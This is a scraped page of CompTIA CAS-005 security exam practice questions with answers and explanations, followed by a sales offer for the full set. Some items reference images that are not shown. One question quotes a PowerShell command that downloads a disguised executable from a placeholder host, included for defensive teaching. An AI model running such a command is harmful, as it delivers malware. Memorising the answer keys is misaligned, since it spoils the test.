Comptia

CAS-005 Free Practice Questions — Page 4

Question 12

A security engineer receives the following findings from a recent security audit: • Data should be protected based on user permissions and roles • User action tracking should be implemented across the network • Digital identities should be validated across the data access workflow Which of the following is the first action the engineer should take to address the findings?

A. Implement continuous and context-based authentication and authorization
B. Use an enhanced user credential provisioning workflow and data monitoring tools
C. Improve federation services for digital identities and data access
D. Deploy OpenID Connect for application programming interface authentication
Show Answer
Correct Answer: A
Explanation:
Continuous, context-based authentication and authorization applies identity and permission checks throughout access, allowing data access to reflect user roles and changing context. It is the broadest first step for addressing the findings; OpenID Connect is a more specific API authentication technology.

Question 12

A vulnerability scan on a web server identified the following: Which of the following actions would most likely eliminate on-path decryption attacks? (Choose two.)

Illustration for CAS-005 question 12
A. Disallowing cipher suites that use ephemeral modes of operation for key agreement
B. Removing support for CBC-based key exchange and signing algorithms
C. Adding TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA256
D. Implementing HIPS rules to identify and block BEAST attack attempts
E. Restricting cipher suites to only allow TLS_RSA_WITH_AES_128_CBC_SHA
F. Increasing the key length to 256 for TLS_RSA_WITH_AES_128_CBC_SHA
Show Answer
Correct Answer: B, C
Explanation:
Removing support for the listed CBC-mode suites reduces exposure to attacks that exploit CBC-based TLS encryption. Adding an ECDHE-ECDSA suite with AES-GCM provides ephemeral key agreement and authenticated encryption, helping protect traffic against on-path decryption. The other choices either retain weak CBC suites, disable ephemeral key agreement, or address only a specific attack.

Question 12

A security analyst detected unusual network traffic related to program updating processes. The analyst collected artifacts from compromised user workstations. The discovered artifacts were binary files with the same name as existing valid binaries but with different hashes. Which of the following solutions would most likely prevent this situation from reoccurring?

A. Improving patching processes
B. Implementing digital signature
C. Performing manual updates via USB ports
D. Allowing only files from internal sources
Show Answer
Correct Answer: B
Explanation:
Digital signature verification checks an update binary’s authenticity and integrity. A replacement or modified binary with a different hash will fail verification, helping prevent it from being installed or executed.

Question 13

A security analyst is investigating an EDR alert and notices the following commands from the shell: PS > iwr -uri http://domain.com/happy.jpg -outfile .\important.url The only artifact that the analyst has access to is a network packet capture. Which of the following actions would most likely confirm whether the file is malicious?

A. Reviewing the payload for a digital signature
B. Acquiring memory from an endpoint for analysis
C. Confirming that the contents of /etc/passwd were transmitted
D. Observing MZ in the binary stream header
Show Answer
Correct Answer: D
Explanation:
The `MZ` signature in the captured file data indicates a Windows executable, despite the `.url` filename and `.jpg` URL. That would confirm the download is disguised as another file type and is suspicious. A valid digital signature alone would not prove a file is benign or malicious.

Question 13

A security analyst reviews the following report: Which of the following assessments is the analyst performing?

Illustration for CAS-005 question 13
A. System
B. Supply chain
C. Quantitative
D. Organizational
Show Answer
Correct Answer: B
Explanation:
The report identifies product components and their suppliers, including chassis manufacturers, operating systems, application developers, and vendors. Reviewing these dependencies is a supply chain assessment.

Question 13

A company's security team is notified about vulnerabilities in the company's application. The security team determined these vulnerabilities were previously disclosed in third-party libraries. Which of the following solutions best allows the company to identify third-party vulnerabilities in the future?

A. Using IaC to include the newest dependencies
B. Creating a bug bounty program
C. Implementing a continuous security assessment program
D. Integrating a SCAtool as part of the pipeline
Show Answer
Correct Answer: D
Explanation:
A Software Composition Analysis (SCA) tool scans third-party libraries and dependencies for known vulnerabilities. Integrating it into the development pipeline enables these issues to be identified automatically and early.

Question 14

A security analyst is reviewing the following authentication logs: Which of the following should the analyst do first?

Illustration for CAS-005 question 14
A. Disable User2’s account.
B. Disable User12’s account
C. Disable User8’s account
D. Disable User1’s account
Show Answer
Correct Answer: D
Explanation:
Disable User1 first. The logs show several failed login attempts followed by a successful login in the same minute, suggesting a possible brute-force attack that succeeded. The other accounts show less concerning patterns.

Question 14

A company was recently infected by malware. During the root cause analysis, the company determined that several users were installing their own applications. To prevent further compromises, the company has decided it will only allow authorized applications to run on its systems. Which of the following should the company implement?

A. Signing
B. Access control
C. HIPS
D. Permit listing
Show Answer
Correct Answer: D
Explanation:
Permit listing (allowlisting) allows only approved applications to run and blocks unauthorized software by default.

Question 15

An architect is securing an external infrastructure to support external services. The following components are in use: • One Kubernetes cluster with multiple pods and nodes for back-end services • Two VM Linux instances as the web tier • One SQL-based database The company only has funding for two controls and must prioritize resilience. Which of the following are the most effective controls for the company to implement to meet this goal? (Choose two.)

A. An IAM policies enforced
B. A RASP to the workload services
C. A content delivery network
D. A database firewall on the SQL instance
E. An IPS at the web tier
F. An application load balancer
Show Answer
Correct Answer: C, F
Explanation:
A content delivery network improves resilience by serving cached content from distributed edge locations and reducing load on the origin infrastructure. An application load balancer distributes requests across the web-tier instances and can route traffic away from unhealthy targets. Together, these controls best support availability and resilience.

Question 15

A security analyst reviews the following event timeline from an EDR solution: Which of the following has most likely occurred and needs to be fixed?

Illustration for CAS-005 question 15
A. The DLP has failed to block malicious exfiltration, and data tagging is not being utilized properly.
B. A NIDS bypass was utilized by a threat actor, and updates must be installed by the administrator.
C. A logic flaw has introduced a TOCTOU vulnerability and must be addressed by the vendor.
D. A potential insider threat is being investigated and will be addressed by the senior management team.
Show Answer
Correct Answer: C
Explanation:
The file was allowed to execute and launch a script while its malware scan was still pending. The scan only detected malware afterward, indicating a time-of-check to time-of-use (TOCTOU) logic flaw that should be addressed by the vendor.

$19

Get all 406 questions with detailed answers and explanations

  • Instant download HTML + PDF delivered the moment payment clears.
  • Secure Stripe checkout we never see or store your card details.
  • 7-day refund if files are defective see our refund policy.